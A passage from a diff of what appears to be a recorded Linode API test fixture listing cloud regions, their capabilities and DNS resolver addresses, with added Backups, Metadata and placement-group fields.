172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 